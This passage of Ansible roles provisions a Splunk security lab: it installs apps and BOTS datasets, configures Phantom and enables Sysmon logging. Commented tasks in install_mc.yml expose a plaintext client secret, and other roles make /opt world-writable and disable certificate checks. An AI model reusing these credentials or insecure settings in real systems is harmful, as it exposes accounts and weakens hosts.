| remote_src: yes 14 | when: botsv1a_app.stat.exists == False 15 | -------------------------------------------------------------------------------- /ansible/roles/search_head/tasks/install_botsv2_dataset.yml: -------------------------------------------------------------------------------- 1 | 2 | - name: check if BOTSv2 app exists 3 | stat: 4 | path: /opt/splunk/etc/apps/botsv2_data_set 5 | register: botsv2_app 6 | 7 | - name: download BOTSv2 dataset 8 | unarchive: 9 | src: 'https://s3.amazonaws.com/botsdataset/botsv2/botsv2_data_set.tgz' 10 | dest: /opt/splunk/etc/apps 11 | owner: splunk 12 | group: splunk 13 | remote_src: yes 14 | when: botsv2_app.stat.exists == False 15 | -------------------------------------------------------------------------------- /ansible/roles/search_head/tasks/install_botsv2a_dataset.yml: -------------------------------------------------------------------------------- 1 | - name: check if BOTSv2 attack only app exists 2 | stat: 3 | path: /opt/splunk/etc/apps/botsv2_data_set 4 | register: botsv2a_app 5 | 6 | - name: download BOTSv2 attack only dataset 7 | unarchive: 8 | src: 'https://s3.amazonaws.com/botsdataset/botsv2/botsv2_data_set_attack_only.tgz' 9 | dest: /opt/splunk/etc/apps 10 | owner: splunk 11 | group: splunk 12 | remote_src: yes 13 | when: botsv2a_app.stat.exists == False 14 | -------------------------------------------------------------------------------- /ansible/roles/search_head/tasks/install_botsv3_dataset.yml: -------------------------------------------------------------------------------- 1 | - name: check if BOTSv3 app exists 2 | stat: 3 | path: /opt/splunk/etc/apps/botsv3_data_set 4 | register: botsv3_app 5 | 6 | - name: download BOTSv3 dataset 7 | unarchive: 8 | src: 'https://botsdataset.s3.amazonaws.com/botsv3/botsv3_data_set.tgz' 9 | dest: /opt/splunk/etc/apps 10 | owner: splunk 11 | group: splunk 12 | remote_src: yes 13 | when: botsv3_app.stat.exists == False 14 | -------------------------------------------------------------------------------- /ansible/roles/search_head/tasks/install_cim_app.yml: -------------------------------------------------------------------------------- 1 | - name: Check if cim app exists 2 | stat: 3 | path: /opt/splunk/etc/apps/Splunk_SA_CIM 4 | register: cim_app 5 | 6 | - name: download CIM app from S3 bucket 7 | get_url: 8 | url: '{{ s3_bucket_url }}/{{ splunk_cim_app }}' 9 | dest: /tmp/cim_app.tgz 10 | when: cim_app.stat.exists == False 11 | 12 | - name: Install cim app via REST 13 | uri: 14 | url: "https://127.0.0.1:8089/services/apps/local" 15 | method: POST 16 | user: "admin" 17 | password: "{{ splunk_admin_password }}" 18 | validate_certs: false 19 | body: "name=/tmp/cim_app.tgz&update=true&filename=true" 20 | headers: 21 | Content-Type: "application/x-www-form-urlencoded" 22 | status_code: [ 200, 201 ] 23 | timeout: 30 24 | when: cim_app.stat.exists == False 25 | 26 | - name: Create folder directory for local in CIM 27 | file: 28 | path: "{{ item }}" 29 | state: directory 30 | owner: splunk 31 | group: splunk 32 | recurse: yes 33 | with_items: 34 | - /opt/splunk/etc/apps/Splunk_SA_CIM/local/ 35 | when: cim_app.stat.exists == False 36 | 37 | - name: copy datamodels.conf to splunk server 38 | copy: 39 | src: datamodels.conf 40 | dest: /opt/splunk/etc/apps/Splunk_SA_CIM/local/datamodels.conf 41 | owner: splunk 42 | group: splunk 43 | when: cim_app.stat.exists == False 44 | notify: restart splunk 45 | -------------------------------------------------------------------------------- /ansible/roles/search_head/tasks/install_dsp.yml: -------------------------------------------------------------------------------- 1 | - name: Create folder directory for outputs configuration 2 | file: 3 | path: "{{ item }}" 4 | state: directory 5 | with_items: 6 | - '/opt/splunk/etc/apps/dsp_outputs_app/local' 7 | 8 | - name: Copy dsp client certificate 9 | copy: 10 | src: '{{ dsp_client_cert_path }}' 11 | dest: '/opt/splunk/etc/apps/dsp_outputs_app/client.pem' 12 | 13 | - name: Copy an outputs.conf for dsp using templating 14 | win_template: 15 | src: outputs.conf.j2 16 | dest: '/opt/splunk/etc/apps/dsp_outputs_app/local/outputs.conf' 17 | vars: 18 | nodes: "{{ lookup('vars', 'dsp_node').split(',') }}" 19 | 20 | -------------------------------------------------------------------------------- /ansible/roles/search_head/tasks/install_enterprise_security.yml: -------------------------------------------------------------------------------- 1 | - name: Copy enterprise security to server 2 | copy: 3 | src: "../../../apps/{{ splunk_es_app }}" 4 | dest: /tmp/es_app.tgz 5 | when: install_es == "1" 6 | 7 | - name: Install es app via REST 8 | uri: 9 | url: "https://127.0.0.1:8089/services/apps/local" 10 | method: POST 11 | user: "admin" 12 | password: "{{ splunk_admin_password }}" 13 | validate_certs: false 14 | body: "name=/tmp/es_app.tgz&update=true&filename=true" 15 | headers: 16 | Content-Type: "application/x-www-form-urlencoded" 17 | status_code: [ 200, 201 ] 18 | timeout: 30 19 | when: install_es == "1" 20 | notify: restart splunk 21 | 22 | - name: Run es post-install setup for ES version before 6.4.0 23 | command: "/opt/splunk/bin/splunk search '| essinstall ' -auth admin:{{ splunk_admin_password }}" 24 | become: yes 25 | become_user: splunk 26 | when: install_es == "1" and {{ splunk_es_app_version | int }} < 640 27 | 28 | - name: Run es post-install setup 29 | command: "/opt/splunk/bin/splunk search '| essinstall --ssl_enablement auto' -auth admin:{{ splunk_admin_password }}" 30 | become: yes 31 | become_user: splunk 32 | when: install_es == "1" and {{ splunk_es_app_version | int }} >= 640 33 | -------------------------------------------------------------------------------- /ansible/roles/search_head/tasks/install_escu_app.yml: -------------------------------------------------------------------------------- 1 | - name: Check if ESCU App exists 2 | stat: 3 | path: /opt/splunk/etc/apps/DA-ESS-ContentUpdate 4 | register: escu_app 5 | 6 | - name: download ESCU app from S3 bucket 7 | get_url: 8 | url: '{{ s3_bucket_url }}/{{ splunk_escu_app }}' 9 | dest: /tmp/escu_app.tgz 10 | when: escu_app.stat.exists == False 11 | 12 | - name: Install escu app via REST 13 | uri: 14 | url: "https://127.0.0.1:8089/services/apps/local" 15 | method: POST 16 | user: "admin" 17 | password: "{{ splunk_admin_password }}" 18 | validate_certs: false 19 | body: "name=/tmp/escu_app.tgz&update=true&filename=true" 20 | headers: 21 | Content-Type: "application/x-www-form-urlencoded" 22 | status_code: [ 200, 201 ] 23 | timeout: 30 24 | when: escu_app.stat.exists == False 25 | notify: restart splunk 26 | 27 | - name: Create local folder directory 28 | file: 29 | path: "{{ item }}" 30 | state: directory 31 | owner: splunk 32 | group: splunk 33 | recurse: yes 34 | with_items: 35 | - /opt/splunk/etc/apps/DA-ESS-ContentUpdate/local/ 36 | 37 | - name: copy macros.conf to splunk server 38 | copy: 39 | src: macros.conf 40 | dest: /opt/splunk/etc/apps/DA-ESS-ContentUpdate/local/macros.conf 41 | owner: splunk 42 | group: splunk 43 | notify: restart splunk 44 | 45 | - name: copy savedsearches.conf to splunk server 46 | copy: 47 | src: savedsearches.conf 48 | dest: /opt/splunk/etc/apps/DA-ESS-ContentUpdate/local/savedsearches.conf 49 | owner: splunk 50 | group: splunk 51 | notify: restart splunk 52 | -------------------------------------------------------------------------------- /ansible/roles/search_head/tasks/install_mc.yml: -------------------------------------------------------------------------------- 1 | 2 | - name: Copy Mission Control App to server 3 | copy: 4 | src: "../../apps/{{ mission_control_app }}" 5 | dest: /tmp/mc_app.tgz 6 | when: install_mission_control == "1" 7 | 8 | - name: Install mc app via REST 9 | uri: 10 | url: "https://127.0.0.1:8089/services/apps/local" 11 | method: POST 12 | user: "admin" 13 | password: "{{ splunk_admin_password }}" 14 | validate_certs: false 15 | body: "name=/tmp/mc_app.tgz&update=true&filename=true" 16 | headers: 17 | Content-Type: "application/x-www-form-urlencoded" 18 | status_code: [ 200, 201 ] 19 | timeout: 30 20 | when: install_mission_control == "1" 21 | notify: restart splunk 22 | 23 | # - name: Create folder directory for proxy configuration 24 | # file: 25 | # path: "{{ item }}" 26 | # state: directory 27 | # owner: splunk 28 | # group: splunk 29 | # recurse: yes 30 | # with_items: 31 | # - /opt/splunk/etc/apps/splunk-connect-for-mission-control/local/ 32 | 33 | - name: copy proxy.conf to splunk server 34 | copy: 35 | src: proxy.conf 36 | dest: /opt/splunk/etc/apps/splunk-connect-for-mission-control/local/proxy.conf 37 | owner: splunk 38 | group: splunk 39 | notify: restart splunk 40 | 41 | - name: copy outputs.conf to splunk server 42 | copy: 43 | src: outputs.conf 44 | dest: /opt/splunk/etc/apps/splunk-connect-for-mission-control/local/outputs.conf 45 | owner: splunk 46 | group: splunk 47 | notify: restart splunk 48 | 49 | - name: Create the /opt/splunk/tmp/ directory 50 | file: 51 | path: "/opt/splunk/tmp" 52 | state: directory 53 | group: "splunk" 54 | owner: "splunk" 55 | become: yes 56 | 57 | - name: Copy proxy_setup.py 58 | copy: 59 | src: proxy_setup.py 60 | dest: /opt/splunk/tmp/proxy_setup.py 61 | 62 | - name: Copy ingestion_setup.py 63 | copy: 64 | src: ingestion_setup.py 65 | dest: /opt/splunk/tmp/ingestion_setup.py 66 | 67 | - name: Make proxy_setup.py executable 68 | command: chmod +x /opt/splunk/tmp/proxy_setup.py 69 | become: yes 70 | 71 | - name: Make ingestion_setup.py executable 72 | command: chmod +x /opt/splunk/tmp/ingestion_setup.py 73 | become: yes 74 | 75 | # - name: Create and insert in outputs.conf entry in to use splunk default cert 76 | # blockinfile: 77 | # path: "/opt/splunk/etc/system/local/outputs.conf" 78 | # block: 79 | # "[tcpout] 80 | # defaultGroup = noOutputGroup 81 | # indexAndForward=true" 82 | # owner: "splunk" 83 | # group: "splunk" 84 | # create: yes 85 | # become: yes 86 | # become_user: "splunk" 87 | 88 | # - name: Proxy Setup to MC Tenant 89 | # command: python ./proxy_setup.py --splunk_home /opt/splunk --environment production --client_id 0oa63qv1xrtH8ITDP2p7 --client_secret VrlRy5g72faYjLarXseSyAmOqyvp3gzFZ8LRUNaP --tenant mcdemo 90 | # become: yes 91 | # become_user: "{{splunk.user}}" 92 | # args: 93 | # chdir: /opt/splunk/tmp/ 94 | # ​ 95 | # - name: Ingestion Setup to MC Tenant 96 | # command: python ./ingestion_setup.py --splunk_home /opt/splunk --environment production --test_client_id 0oa63qv1xrtH8ITDP2p7 --test_client_secret VrlRy5g72faYjLarXseSyAmOqyvp3gzFZ8LRUNaP --tenant mcdemo 97 | # become: yes 98 | # become_user: "{{splunk.user}}" 99 | # args: 100 | # chdir: /opt/splunk/tmp/ 101 | 102 | # restart Splunk 103 | - name: restart splunk 104 | service: name=splunk state=restarted 105 | become: yes 106 | -------------------------------------------------------------------------------- /ansible/roles/search_head/tasks/install_mltk_app.yml: -------------------------------------------------------------------------------- 1 | - name: Check if python app exists 2 | stat: 3 | path: /opt/splunk/etc/apps/Splunk_SA_Scientific_Python_linux_x86_64 4 | register: python_app 5 | 6 | - name: download Python app from S3 bucket 7 | get_url: 8 | url: '{{ s3_bucket_url }}/{{ splunk_python_app }}' 9 | dest: /tmp/python-for-scientific-computing-for-linux-64-bit_14.tgz 10 | when: 11 | - python_app.stat.exists == False 12 | - install_mltk == "1" 13 | 14 | - name: Install Python app via REST 15 | uri: 16 | url: "https://127.0.0.1:8089/services/apps/local" 17 | method: POST 18 | user: "admin" 19 | password: "{{ splunk_admin_password }}" 20 | validate_certs: false 21 | body: "name=/tmp/python-for-scientific-computing-for-linux-64-bit_14.tgz&update=true&filename=true" 22 | headers: 23 | Content-Type: "application/x-www-form-urlencoded" 24 | status_code: [ 200, 201 ] 25 | timeout: 90 26 | when: 27 | - python_app.stat.exists == False 28 | - install_mltk == "1" 29 | notify: restart splunk 30 | 31 | - name: Check if MLTK ta exists 32 | stat: 33 | path: /opt/splunk/etc/apps/Splunk_ML_Toolkit 34 | register: mltk_app 35 | 36 | - name: download MLTK app from S3 bucket 37 | get_url: 38 | url: '{{ s3_bucket_url }}/{{ splunk_mltk_app }}' 39 | dest: /tmp/splunk-machine-learning-toolkit_450.tgz 40 | when: 41 | - mltk_app.stat.exists == False 42 | - install_mltk == "1" 43 | 44 | - name: Install MLTK app via REST 45 | uri: 46 | url: "https://127.0.0.1:8089/services/apps/local" 47 | method: POST 48 | user: "admin" 49 | password: "{{ splunk_admin_password }}" 50 | validate_certs: false 51 | body: "name=/tmp/splunk-machine-learning-toolkit_450.tgz&update=true&filename=true" 52 | headers: 53 | Content-Type: "application/x-www-form-urlencoded" 54 | status_code: [ 200, 201 ] 55 | timeout: 30 56 | when: 57 | - mltk_app.stat.exists == False 58 | - install_mltk == "1" 59 | notify: restart splunk 60 | -------------------------------------------------------------------------------- /ansible/roles/search_head/tasks/install_sse_app.yml: -------------------------------------------------------------------------------- 1 | - name: Check if SSE App exists 2 | stat: 3 | path: /opt/splunk/etc/apps/Splunk_Security_Essentials 4 | register: sse_app 5 | 6 | - name: download ESCU app from S3 bucket 7 | get_url: 8 | url: '{{ s3_bucket_url }}/{{ splunk_security_essentials_app }}' 9 | dest: /tmp/sse_app.tgz 10 | when: sse_app.stat.exists == False 11 | 12 | - name: Install sse app via REST 13 | uri: 14 | url: "https://127.0.0.1:8089/services/apps/local" 15 | method: POST 16 | user: "admin" 17 | password: "{{ splunk_admin_password }}" 18 | validate_certs: false 19 | body: "name=/tmp/sse_app.tgz&update=true&filename=true" 20 | headers: 21 | Content-Type: "application/x-www-form-urlencoded" 22 | status_code: [ 200, 201 ] 23 | timeout: 30 24 | when: sse_app.stat.exists == False 25 | notify: restart splunk 26 | -------------------------------------------------------------------------------- /ansible/roles/search_head/tasks/install_stream_app.yml: -------------------------------------------------------------------------------- 1 | - name: Check if stream app exists 2 | stat: 3 | path: /opt/splunk/etc/apps/Splunk_TA_stream 4 | register: stream_app 5 | 6 | - name: download Stream app from S3 bucket 7 | get_url: 8 | url: '{{ s3_bucket_url }}/{{ splunk_stream_app }}' 9 | dest: /tmp/splunk-stream_720.tgz 10 | timeout: 30 11 | when: stream_app.stat.exists == False 12 | 13 | - name: Install stream app via REST 14 | uri: 15 | url: "https://127.0.0.1:8089/services/apps/local" 16 | method: POST 17 | user: "admin" 18 | password: "{{ splunk_admin_password }}" 19 | validate_certs: false 20 | body: "name=/tmp/splunk-stream_720.tgz&update=true&filename=true" 21 | headers: 22 | Content-Type: "application/x-www-form-urlencoded" 23 | status_code: [ 200, 201 ] 24 | timeout: 90 25 | when: stream_app.stat.exists == False 26 | notify: restart splunk 27 | 28 | # app installation may still be in progress 29 | - name: Wait for set_permissions.sh to exist 30 | wait_for: 31 | path: /opt/splunk/etc/apps/Splunk_TA_stream/set_permissions.sh 32 | 33 | - name: Change file ownership, group and permissions 34 | file: 35 | path: /opt/splunk/etc/apps/Splunk_TA_stream/set_permissions.sh 36 | owner: root 37 | group: root 38 | mode: '0700' 39 | 40 | # Script to set NIC to promiscuous mode: https://docs.splunk.com/Documentation/StreamApp/7.2.0/DeployStreamApp/InstallSplunkAppforStream#Set_Splunk_TA_stream_permissions 41 | - name: Change the working directory to cd /opt/splunk/etc/apps/Splunk_TA_stream/ before setting write permissions. 42 | shell: ./set_permissions.sh 43 | args: 44 | chdir: /opt/splunk/etc/apps/Splunk_TA_stream/ 45 | become: yes 46 | become_user: root 47 | become_method: sudo 48 | 49 | # app installation may still be in progress 50 | - name: Wait for inputs.conf to exist 51 | wait_for: 52 | path: /opt/splunk/etc/deployment-apps/Splunk_TA_stream/local/inputs.conf 53 | 54 | - name: Copy new inputs.conf configuration 55 | template: 56 | src: inputs.conf.j2 57 | dest: /opt/splunk/etc/deployment-apps/Splunk_TA_stream/local/inputs.conf 58 | owner: splunk 59 | group: splunk 60 | -------------------------------------------------------------------------------- /ansible/roles/search_head/tasks/install_sysmon_ta.yml: -------------------------------------------------------------------------------- 1 | - name: Check if sysmon ta exists 2 | stat: 3 | path: /opt/splunk/etc/apps/TA-microsoft-sysmon 4 | register: sysmon_ta 5 | 6 | - name: download Sysmon TA from S3 bucket 7 | get_url: 8 | url: '{{ s3_bucket_url }}/{{ splunk_sysmon_ta }}' 9 | dest: /tmp/sysmon_ta.tgz 10 | timeout: 30 11 | when: sysmon_ta.stat.exists == False 12 | 13 | - name: Install sysmon ta app via REST 14 | uri: 15 | url: "https://127.0.0.1:8089/services/apps/local" 16 | method: POST 17 | user: "admin" 18 | password: "{{ splunk_admin_password }}" 19 | validate_certs: false 20 | body: "name=/tmp/sysmon_ta.tgz&update=true&filename=true" 21 | headers: 22 | Content-Type: "application/x-www-form-urlencoded" 23 | status_code: [ 200, 201 ] 24 | timeout: 30 25 | when: sysmon_ta.stat.exists == False 26 | notify: restart splunk 27 | -------------------------------------------------------------------------------- /ansible/roles/search_head/tasks/install_windows_ta.yml: -------------------------------------------------------------------------------- 1 | - name: Check if windows ta exists 2 | stat: 3 | path: /opt/splunk/etc/apps/Splunk_TA_windows 4 | register: windows_ta 5 | 6 | - name: download Windows TA from S3 bucket 7 | get_url: 8 | url: '{{ s3_bucket_url }}/{{ splunk_windows_ta }}' 9 | dest: /tmp/windows_ta.tgz 10 | when: windows_ta.stat.exists == False 11 | 12 | - name: Install windows TA app via REST 13 | uri: 14 | url: "https://127.0.0.1:8089/services/apps/local" 15 | method: POST 16 | user: "admin" 17 | password: "{{ splunk_admin_password }}" 18 | validate_certs: false 19 | body: "name=/tmp/windows_ta.tgz&update=true&filename=true" 20 | headers: 21 | Content-Type: "application/x-www-form-urlencoded" 22 | status_code: [ 200, 201 ] 23 | timeout: 30 24 | when: windows_ta.stat.exists == False 25 | notify: restart splunk 26 | -------------------------------------------------------------------------------- /ansible/roles/search_head/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # This playbook contains common tasks in this role 3 | 4 | - include: splunk.yml 5 | - include: configure_inputs.yml 6 | - include: configure_indexes.yml 7 | - include: configure_limits.yml 8 | - include: configure_web_conf.yml 9 | - include: configure_hec.yml 10 | - include: configure_server_conf.yml 11 | - include: create_serverclass.yml 12 | - include: install_aws_app.yml 13 | when: cloud_attack_range == "1" 14 | - include: install_enterprise_security.yml 15 | - include: install_mc.yml 16 | when: install_mission_control == "1" 17 | - include: install_botsv1_dataset.yml 18 | when: splunk_bots_dataset is regex("(1)(?!a)") 19 | - include: install_botsv1a_dataset.yml 20 | when: splunk_bots_dataset is regex("1a") 21 | - include: install_botsv2_dataset.yml 22 | when: splunk_bots_dataset is regex("(2)(?!a)") 23 | - include: install_botsv2a_dataset.yml 24 | when: splunk_bots_dataset is regex("2a") 25 | - include: install_botsv3_dataset.yml 26 | when: splunk_bots_dataset is regex("3") 27 | - include: install_dsp.yml 28 | when: install_dsp == "1" 29 | - include: install_escu_app.yml 30 | - include: install_asx_app.yml 31 | - include: install_sse_app.yml 32 | - include: install_attack_range_dashboard.yml 33 | - include: install_windows_ta.yml 34 | - include: install_cim_app.yml 35 | - include: install_sysmon_ta.yml 36 | - include: install_mltk_app.yml 37 | - include: install_stream_app.yml 38 | -------------------------------------------------------------------------------- /ansible/roles/search_head/tasks/splunk.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # This playbook install the apps required in a server 3 | 4 | - name: add splunk group 5 | tags: 6 | - install 7 | - security 8 | group: name=splunk state=present 9 | 10 | - name: add splunk user 11 | tags: 12 | - install 13 | - security 14 | user: name=splunk comment="Splunk service user" shell=/usr/sbin/nologin groups=splunk createhome=yes 15 | 16 | - name: make /opt writetable by splunk 17 | tags: 18 | - install 19 | file: path=/opt mode=777 20 | 21 | - name: checking if splunk is install 22 | tags: install 23 | stat: path=/opt/splunk 24 | register: splunk_path 25 | 26 | - name: is splunk installed? 27 | tags: install 28 | debug: msg='splunk is already installed under /opt/splunk' 29 | when: splunk_path.stat.exists 30 | 31 | - name: download splunk 32 | tags: install 33 | get_url: 34 | url: '{{ splunk_url }}' 35 | dest: /opt/ 36 | when: splunk_path.stat.exists == false 37 | 38 | - name: install splunk binary 39 | tags: 40 | - install 41 | unarchive: remote_src=yes src=/opt/{{splunk_binary}} dest=/opt/ owner=splunk group=splunk creates=yes 42 | become: yes 43 | become_user: splunk 44 | when: splunk_path.stat.exists == false 45 | 46 | - name: accept license and start splunk 47 | tags: 48 | - install 49 | shell: /opt/splunk/bin/splunk start --accept-license --answer-yes --no-prompt --seed-passwd {{splunk_admin_password}} 50 | become: yes 51 | become_user: splunk 52 | when: splunk_path.stat.exists == false 53 | 54 | - name: enable boot-start 55 | tags: 56 | - install 57 | shell: /opt/splunk/bin/splunk enable boot-start -user splunk 58 | when: splunk_path.stat.exists == false 59 | 60 | - name: restart splunk 61 | service: 62 | name: splunkd 63 | state: restarted 64 | when: splunk_path.stat.exists == false 65 | -------------------------------------------------------------------------------- /ansible/roles/search_head/templates/aws_account_ext.conf.j2: -------------------------------------------------------------------------------- 1 | [splunk_role_{{ key_name }}] 2 | category = 1 3 | iam = 1 4 | -------------------------------------------------------------------------------- /ansible/roles/search_head/templates/aws_cloudwatch_logs_tasks.conf.j2: -------------------------------------------------------------------------------- 1 | [aws] 2 | account = splunk_role_{{ key_name }} 3 | groups = API-Gateway-Execution-Logs_{{ api_gateway_id }}/prod, /aws/lambda/notes_application_{{ key_name }} 4 | delay = 1800 5 | index = aws 6 | interval = 120 7 | only_after = 1970-01-01T00:00:00 8 | region = {{ region }} 9 | sourcetype = aws:cloudwatchlogs 10 | stream_matcher = .* 11 | -------------------------------------------------------------------------------- /ansible/roles/search_head/templates/aws_inputs.conf.j2: -------------------------------------------------------------------------------- 1 | [aws_sqs_based_s3://cloudtrail] 2 | aws_account = splunk_role_{{ key_name }} 3 | index = aws 4 | interval = 60 5 | s3_file_decoder = CloudTrail 6 | sourcetype = aws:cloudtrail 7 | sqs_batch_size = 10 8 | sqs_queue_region = {{ region }} 9 | sqs_queue_url = {{ sqs_queue_url }} 10 | -------------------------------------------------------------------------------- /ansible/roles/search_head/templates/inputs.conf.j2: -------------------------------------------------------------------------------- 1 | [streamfwd://streamfwd] 2 | index = network 3 | splunk_stream_app_location = https://{{ splunk_server_private_ip }}:8000/en-us/custom/splunk_app_stream/ 4 | stream_forwarder_id = 5 | disabled = 0 6 | -------------------------------------------------------------------------------- /ansible/roles/search_head/templates/outputs.conf.j2: -------------------------------------------------------------------------------- 1 | #jinja2: trim_blocks:False 2 | [indexAndForward] 3 | index = true 4 | 5 | [tcpout] 6 | defaultGroup={%- if install_dsp -%}dsp{% endif %} 7 | indexAndForward = true 8 | 9 | {% if install_dsp %} 10 | [tcpout:dsp] 11 | server={% for ip in nodes -%}{{ip}}:30001{% if not loop.last -%},{% endif -%}{% endfor%} 12 | clientCert=/opt/splunk/etc/apps/dsp_outputs_app/client.pem 13 | sslVerifyServerCert=false 14 | useACK=true 15 | indexAndForward = true 16 | {% endif %} 17 | 18 | 19 | -------------------------------------------------------------------------------- /ansible/roles/splunk_phantom/files/authorize.conf: -------------------------------------------------------------------------------- 1 | [role_admin] 2 | grantableRoles = admin 3 | importRoles = phantom;power;user 4 | list_settings = disabled 5 | list_storage_passwords = disabled 6 | srchIndexesDefault = attack;dns;fw;mail;main;proxy;unix;win 7 | srchMaxTime = 8640000 8 | -------------------------------------------------------------------------------- /ansible/roles/splunk_phantom/files/phantom.conf: -------------------------------------------------------------------------------- 1 | [enable_logging] 2 | value = false 3 | 4 | [verify_certs] 5 | value = 0 6 | -------------------------------------------------------------------------------- /ansible/roles/splunk_phantom/handlers/main.yml: -------------------------------------------------------------------------------- 1 | - name: restart splunk 2 | service: name=splunk state=restarted 3 | become: yes 4 | -------------------------------------------------------------------------------- /ansible/roles/splunk_phantom/tasks/add_phantom_role.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: copy authorize.conf to give admin phantom capabilities 4 | copy: 5 | src: authorize.conf 6 | dest: /opt/splunk/etc/system/local/authorize.conf 7 | owner: splunk 8 | group: splunk 9 | force: yes 10 | -------------------------------------------------------------------------------- /ansible/roles/splunk_phantom/tasks/install_phantom_app.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Check if Phantom App exists 4 | stat: 5 | path: /opt/splunk/etc/apps/phantom 6 | register: phantom_app_check 7 | 8 | - name: download phantom app from S3 bucket 9 | get_url: 10 | url: '{{ s3_bucket_url }}/{{ phantom_app }}' 11 | dest: /tmp/phantom_app.tgz 12 | when: phantom_app_check.stat.exists == False 13 | 14 | - name: Install phantom app via REST 15 | uri: 16 | url: "https://127.0.0.1:8089/services/apps/local" 17 | method: POST 18 | user: "admin" 19 | password: "{{ splunk_admin_password }}" 20 | validate_certs: false 21 | body: "name=/tmp/phantom_app.tgz&update=true&filename=true" 22 | headers: 23 | Content-Type: "application/x-www-form-urlencoded" 24 | status_code: [ 200, 201 ] 25 | timeout: 30 26 | when: phantom_app_check.stat.exists == False 27 | notify: restart splunk 28 | -------------------------------------------------------------------------------- /ansible/roles/splunk_phantom/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - include: install_phantom_app.yml 4 | when: phantom_server == "1" 5 | 6 | - include: add_phantom_role.yml 7 | when: phantom_server == "1" 8 | -------------------------------------------------------------------------------- /ansible/roles/splunk_phantom/templates/phantom.j2: -------------------------------------------------------------------------------- 1 | [enable_logging] 2 | value = false 3 | 4 | [phantom] 5 | value = {"f4ebdb46-3687-44b9-be72-d6b90597cff0": {"proxy": "", "user": "automation", "ph_auth_config_id": "f4ebdb46-3687-44b9-be72-d6b90597cff0", "custom_name": "phantom", "server": "https://54.185.241.145", "default": true}} 6 | 7 | [verify_certs] 8 | value = 0 9 | 10 | [field_mapping] 11 | 12 | [version] 13 | 14 | [accepted] 15 | value = false 16 | -------------------------------------------------------------------------------- /ansible/roles/splunk_phantom_configure/files/phantom.conf: -------------------------------------------------------------------------------- 1 | [enable_logging] 2 | value = false 3 | 4 | [verify_certs] 5 | value = 0 6 | -------------------------------------------------------------------------------- /ansible/roles/splunk_phantom_configure/tasks/configure_phantom_app.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: create local folder for phantom app 4 | file: 5 | path: /opt/splunk/etc/apps/phantom/local 6 | state: directory 7 | owner: splunk 8 | group: splunk 9 | 10 | - name: copy phantom.conf to splunk server 11 | copy: 12 | src: phantom.conf 13 | dest: /opt/splunk/etc/apps/phantom/local/phantom.conf 14 | owner: splunk 15 | group: splunk 16 | 17 | - name: restart splunk 18 | service: name=splunk state=restarted 19 | become: yes 20 | 21 | - name: fetch phantom api token 22 | uri: 23 | url: https://{{ phantom_server_private_ip }}/rest/ph_user/2/token 24 | method: GET 25 | user: admin 26 | password: "{{ phantom_admin_password }}" 27 | force_basic_auth: yes 28 | validate_certs: no 29 | register: api_token 30 | 31 | - name: Connect Splunk Phantom App with Phantom 32 | shell: curl -k -u "admin:{{ splunk_admin_password }}" --data '{"verify_certs":"false","enable_logging":"false","config":[{"ph-auth-token":"{{ api_token.json.key | replace("=","%3D") | replace("+","%2B") }}","server":"https://{{ phantom_server_private_ip }}","custom_name":"phantom","default":false,"user":"","ph_auth_config_id":"193b2ffc-48fb-4087-bc75-c44184e7fa07","proxy":"","validate":true}],"accepted":"true","save":true}' https://localhost:8089/services/update_phantom_config?output_mode=json 33 | register: shell_output 34 | 35 | # - name: Debug output 36 | # debug: 37 | # var: shell_output 38 | 39 | - name: restart splunk 40 | service: name=splunk state=restarted 41 | become: yes 42 | 43 | 44 | # - name: Connect Splunk Phantom App with Phantom 45 | # uri: 46 | # url: https://127.0.0.1:8089/services/update_phantom_config 47 | # method: POST 48 | # user: "admin" 49 | # password: "{{ splunk_admin_password }}" 50 | # validate_certs: false 51 | # body: 52 | # verify_certs: false 53 | # enable_logging: false 54 | # config: 55 | # - ph-auth-token: "{{ api_token.json.key }}" 56 | # server: "https://{{ phantom_server_private_ip }}" 57 | # custom_name: "" 58 | # default: false 59 | # user: "" 60 | # ph_auth_config_id: "193b2ffc-48fb-4087-bc75-c44184e7fa07" 61 | # proxy: "" 62 | # validate: true 63 | # accepted: true 64 | # save: true 65 | # body_format: json 66 | # status_code: [ 200, 201 ] 67 | # timeout: 30 68 | # notify: restart splunk 69 | # register: rest_output 70 | -------------------------------------------------------------------------------- /ansible/roles/splunk_phantom_configure/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - include: configure_phantom_app.yml 4 | when: phantom_server == "1" 5 | -------------------------------------------------------------------------------- /ansible/roles/sysmon/handlers/main.yml: -------------------------------------------------------------------------------- 1 | - name: restart splunk 2 | win_command: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe restart 3 | -------------------------------------------------------------------------------- /ansible/roles/sysmon/tasks/main.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: Create ansible directories 4 | win_file: 5 | path: "{{ item }}" 6 | state: directory 7 | with_items: 8 | - 'c:\Program Files\ansible' 9 | - 'c:\ProgramData\ansible\log' 10 | 11 | - include: windows-sysmon.yml 12 | - include: windows-logging-registry.yml 13 | 14 | - name: 'Reboot server' 15 | win_reboot: 16 | -------------------------------------------------------------------------------- /ansible/roles/sysmon/tasks/windows-logging-registry.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | - name: WINEVT Channels Event Log Enabled 4 | win_regedit: 5 | key: "HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WINEVT\\Channels\\{{ item }}" 6 | value: Enabled 7 | datatype: dword 8 | data: 1 9 | with_items: 10 | - 'Microsoft-Windows-Sysmon/Operational' 11 | 12 | - name: WINEVT Channels Event Log size review 13 | win_regedit: 14 | key: "HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WINEVT\\Channels\\{{ item }}" 15 | value: MaxSize 16 | datatype: dword 17 | data: "315801600" 18 | with_items: 19 | - 'Microsoft-Windows-Sysmon/Operational' 20 | 21 | - name: WINEVT Channels Event Log retention review 22 | win_regedit: 23 | key: "HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WINEVT\\Channels\\{{ item }}" 24 | value: Retention 25 | datatype: dword 26 | data: "0" 27 | with_items: 28 | - 'Microsoft-Windows-Sysmon/Operational' 29 | -------------------------------------------------------------------------------- /ansible/roles/sysmon/tasks/windows-sysmon.yml: 